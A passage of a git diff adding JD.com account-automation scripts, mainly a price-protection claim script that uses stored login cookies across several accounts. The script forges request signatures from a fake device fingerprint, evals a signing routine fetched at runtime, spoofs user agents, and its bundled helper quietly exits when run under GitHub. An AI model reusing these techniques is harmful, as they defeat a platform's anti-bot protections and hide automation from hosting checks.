JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_price.js b/jd_price.js new file mode 100644 index 0000000..8fd426a --- /dev/null +++ b/jd_price.js @@ -0,0 +1,416 @@ +/* +京东保价 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东保价 +41 23 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_price.js, tag=京东保价, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "41 23 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_price.js,tag=京东保价 + +===============Surge================= +京东保价 = type=cron,cronexp="41 23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_price.js + +============小火箭========= +京东保价 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_price.js, cronexpr="41 23 * * *", timeout=3600, enable=true + */ +// by 标哥丶 220120 +const $ = new Env('京东保价'); +const CryptoJS = require('crypto-js'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const jsdom = $.isNode() ? require('jsdom') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, allMessage = ''; +Date.prototype.Format = function (fmt) { + var o = { + "M+": this.getMonth() + 1, //月份 + "d+": this.getDate(), //日 + "h+": this.getHours(), //小时 + "m+": this.getMinutes(), //分 + "s+": this.getSeconds(), //秒 + "S": this.getMilliseconds() //毫秒 + }; + if (/(y+)/.test(fmt)) + fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); + for (var k in o) + if (new RegExp("(" + k + ")").test(fmt)) + fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); + return fmt; +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +let algo = { + '3adb2': {} +} +let h5st = '' +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await getAlgo('3adb2'); + await jstoken(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.token = '' + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await price() + if (i != cookiesArr.length - 1) { + await $.wait(2000) + await jstoken(); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function price() { + let num = 0 + do { + $.token = $.jab.getToken() || '' + if ($.token) { + await siteppM_skuOnceApply(); + } + num++ + } while (num < 3 && !$.token) + await showMsg() +} + +async function siteppM_skuOnceApply() { + let body = { + sid: "", + type: "25", + forcebot: "", + token: $.token, + feSt: $.token ? "s" : "f" + } + let params = { + code: '3adb2', + functionId: 'siteppM_priceskusPull', + body + } + h5st = await getH5st(params) + return new Promise(async resolve => { + $.post(taskUrl("siteppM_skuOnceApply", body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} siteppM_skuOnceApply API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.flag) { + await $.wait(25 * 1000) + await siteppM_appliedSuccAmount() + } else { + console.log(`保价失败:${data.responseMessage}`) + message += `保价失败:${data.responseMessage}\n` + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function siteppM_appliedSuccAmount() { + let body = { + sid: "", + type: "25", + forcebot: "", + num: 15 + } + + return new Promise(resolve => { + $.post(taskUrl("siteppM_appliedSuccAmount", body), (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} siteppM_appliedSuccAmount API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.flag) { + console.log(`保价成功:返还${data.succAmount}元`) + message += `保价成功:返还${data.succAmount}元\n` + } else { + console.log(`保价失败:没有可保价的订单`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +async function jstoken() { + const { JSDOM } = jsdom; + let resourceLoader = new jsdom.ResourceLoader({ + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu" + }); + let virtualConsole = new jsdom.VirtualConsole(); + let options = { + url: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu", + referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu", + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + runScripts: "dangerously", + resources: resourceLoader, + includeNodeLocations: true, + storageQuota: 10000000, + pretendToBeVisual: true, + virtualConsole + }; + // const { window } = new JSDOM(``, options); + // const jdPriceJs = await downloadUrl("https://js-nocaptcha.jd.com/statics/js/main.min.js") + const dom = new JSDOM(``, options); + await $.wait(1000) + try { + // window.eval(jdPriceJs) + // window.HTMLCanvasElement.prototype.getContext = () => { + // return {}; + // }; + $.jab = new dom.window.JAB({ + bizId: 'jdjiabao', + initCaptcha: false + }) + } catch (e) { } +} + +function downloadUrl(url) { + return new Promise(resolve => { + const options = { url, "timeout": 10000 }; + $.get(options, async (err, resp, data) => { + let res = null + try { + if (err) { + console.log(`⚠️网络请求失败`); + } else { + res = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (message) { + allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; + } + $.msg($.name, '', `【京东账号${$.index}】${$.nickName || $.UserName}\n${message}`); + resolve() + }) +} + +function taskUrl(functionId, body) { + return { + url: `${JD_API_HOST}api?appid=siteppM&functionId=${functionId}&forcebot=&t=${Date.now()}`, + body: `body=${encodeURIComponent(JSON.stringify(body))}&h5st=${encodeURIComponent(h5st)}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://msitepp-fm.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://msitepp-fm.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +async function getAlgo(id) { + let fp = await generateFp(); + algo[id].fingerprint = fp; + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://h5.m.jd.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://h5.m.jd.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "3.1", + "fp": fp, + "appId": id.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + algo[id].token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) algo[id].enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取加密参数成功!`) + } else { + console.log(`fp: ${fp}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} +async function getH5st(params) { + let date = new Date(), timestamp, key, SHA256; + timestamp = date.Format("yyyyMMddhhmmssS"); + key = await algo[params.code].enCryptMethodJD(algo[params.code].token, algo[params.code].fingerprint, timestamp, params.code, CryptoJS).toString(); + SHA256 = await getSHA256(key, params, date.getTime()); + + return `${timestamp};${algo[params.code].fingerprint};${params.code};${algo[params.code].token};${SHA256};3.0;${date.getTime()}` +} +function getSHA256(key, params, dete) { + let SHA256 = CryptoJS.SHA256(JSON.stringify(params.body)).toString() + let stringSign = `appid:siteppM&body:${SHA256}&&functionId:${params.functionId}&t:${dete}` + let hash = CryptoJS.HmacSHA256(stringSign, key); + let hashInHex = CryptoJS.enc.Hex.stringify(hash); + + return hashInHex; +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_productZ4Brand.js b/jd_productZ4Brand.js new file mode 100644 index 0000000..eba1e58 --- /dev/null +++ b/jd_productZ4Brand.js @@ -0,0 +1,359 @@ +/** + 特务Z + 脚本没有自动开卡,会尝试领取开卡奖励 + cron 23 8,9 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_productZ4Brand.js + 一天要跑2次 + */ +const $ = new Env('特务Z'); +const notify = 